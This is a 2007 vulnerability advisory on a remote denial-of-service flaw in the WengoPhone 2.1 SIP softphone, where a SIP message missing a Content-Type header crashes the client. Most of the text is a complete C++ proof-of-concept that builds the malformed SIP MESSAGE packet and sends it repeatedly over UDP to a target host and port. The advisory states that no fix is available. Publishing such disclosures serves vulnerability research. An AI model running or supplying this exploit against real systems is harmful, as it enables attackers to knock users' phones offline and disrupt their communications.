WengoPhone SIP phone Remote Denial of Service vulnerability Aug 12 2007 04:41AM
zwell sohu com
Title
=====
WengoPhone SIP phone Remote Denial of Service vulnerability

Date
====
10 August 2007

Affected Software
=================
WengoPhone versions 2.x (tested on 2.1)

Overview
========
WengoPhone is a thriving VoIP Service Provider from France. It is a free and wild used SIP based softphone. More information about WengoPhone can be found

here: www.wengophone.com
A message validation check flaw in WengoPhone SIP phone implementation may allow a remote attacker to crash the phone causing denial of service.

Vulnerability Description
=====================
The vulnerability occurs as a result of how the SIP client component handles an incorrectly sip packet. Method of INVITE or MESSAGE will be ok. MESSAGE is a

sip method for Instant Messaging.
After WengoPhone receive a malformed packet without "Content-Type" field, we call "Missing Content-Type Vulnerability", it will be crash.

Solution
========
Not really.

Credit
======
This vulnerability was discovered by Zwell. http://www.nosec.org

PoC
===
/**********main.cpp***********/
#include <stdio.h>
#include <string>
using namespace std;

#ifdef WIN32
#include <winsock2.h>
#pragma comment(lib, "ws2_32.lib")
#define close closesocket
#define write(a,b,c) send(a, b, c, 0)
#define writeto(a,b,c,d,e) sendto(a, b, c, 0, d, e)
#define read(a,b,c) recv(a, b, c, 0)
#define readfrom(a,b,c,d,e) recvfrom(a, b, c, 0, d, e)
#else
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/tcp.h>
#include <netdb.h>
#include <arpa/inet.h>
#define closesocket close
#define SOCKET int
#define DWORD unsigned long
#endif

char *craft_pkt =
"MESSAGE sip:[FROMUSER]@[DOMAIN] SIP/2.0\r\n"
"Via: SIP/2.0/UDP [FROMADDR]:[LOCALPORT];branch=[BRANCH]\r\n"
"From: [FROMUSER] <sip:[FROMADDR]:[LOCALPORT]>;tag=[TAG]\r\n"
"To: <sip:[TOADDR]>\r\n"
"Call-ID: [CALLID]@[DOMAIN]\r\n"
"CSeq: [CSEQ] MESSAGE\r\n"
"Contact: <sip:[FROMUSER]@[DOMAIN]:[LOCALPORT]>\r\n"
"Content-Length: 0\r\n\r\n";

void socket_init()
{
#ifdef WIN32
WSADATA wsaData;
WSAStartup(MAKEWORD(2,0), &wsaData);
#endif
}

unsigned long resolv(const char *host)
{
struct hostent *hp;
unsigned long host_ip;

host_ip = inet_addr(host);
if( host_ip == INADDR_NONE )
{
hp = gethostbyname(host);
if(!hp)
{
printf("\nError: Unable to resolve hostname (%s)\n",host);
exit(1);
}
else
host_ip = *(u_long*)hp->h_addr ;
}

return(host_ip);
}

SOCKET udpsocket()
{
/* network */
SOCKET sockfd;
struct sockaddr_in laddr, raddr;

sockfd = socket(AF_INET, SOCK_DGRAM, 0);
if (sockfd == -1)
goto error;

memset((char *) &laddr, 0, sizeof(laddr));
laddr.sin_family = AF_INET;
laddr.sin_addr.s_addr = htonl(INADDR_ANY);
if (bind(sockfd, (struct sockaddr *) &laddr, sizeof(laddr)) == -1)
goto error;

return sockfd;

error:
#ifdef WIN32
printf("Error:%d\n", GetLastError());
#endif
return 0;
}

string &replace_all(string &str,const string& old_value,const string& new_value)
{
while(true)
{
string::size_type pos(0);
if( (pos=str.find(old_value))!=string::npos)
str.replace(pos,old_value.length(),new_value);
else break;
}
return str;
}

string &replace_with_rand(string &str, char *value, int len)
{
char *strspace = "0123456789";
char randstr[100];
for(int i=0; i<len; i++)
{
do
{
randstr[i] = strspace[rand()%strlen(strspace)];
}while(randstr[i] == '0');
}
randstr[len] = 0;
replace_all(str, value, randstr);
return str;
}

string build_packet(string _packet, char *addr, char *host)
{
string packet = _packet;
replace_all(packet, "[FROMADDR]", addr);
replace_all(packet, "[TOADDR]", host);
replace_all(packet, "[DOMAIN]", "www.nosec.org");
replace_all(packet, "[FROMUSER]", "siprint");
replace_with_rand(packet, "[CSEQ]", 9);
replace_with_rand(packet, "[CALLID]", 9);
replace_with_rand(packet, "[TAG]", 9);
replace_with_rand(packet, "[BRANCH]", 9);
return packet;
}

int main(int argc, char **argv)
{
char *host;
int port;
char *localip;
struct sockaddr_in sockaddr;
struct sockaddr_in raddr;
int sockaddrlen = sizeof(sockaddr);
SOCKET s;

printf("WengoPhone 2.1 Missing Content-Type DOS PoC\n");

if(argc != 4)
{
printf("usage : %s <host> <port> <localip>\n", argv[0]);
exit(-1);
}

host = argv[1];
port = atoi(argv[2]);
localip = argv[3];

socket_init();
s = udpsocket();
if(s == 0)
{
printf("Create udp socket error!\n", host, port);
return 1;
}
memset(&sockaddr, 0, sockaddrlen);
getsockname(s, (struct sockaddr *) &sockaddr, (int *) &sockaddrlen);

raddr.sin_family = AF_INET;
raddr.sin_addr.S_un.S_addr = resolv(host);
raddr.sin_port = htons(port);
for(int i=0; i<20; i++)
{
char portstr[6] = {'\0'};
string packet = build_packet(craft_pkt, localip, host);
sprintf(portstr, "%d", ntohs(sockaddr.sin_port));
replace_all(packet, "[LOCALPORT]", portstr);
//printf("===========\n%s\n===========\n", packet.c_str());
writeto(s, packet.c_str(), packet.length(), (struct sockaddr*)&raddr, sockaddrlen);
Sleep(100);
}

return 0;
}

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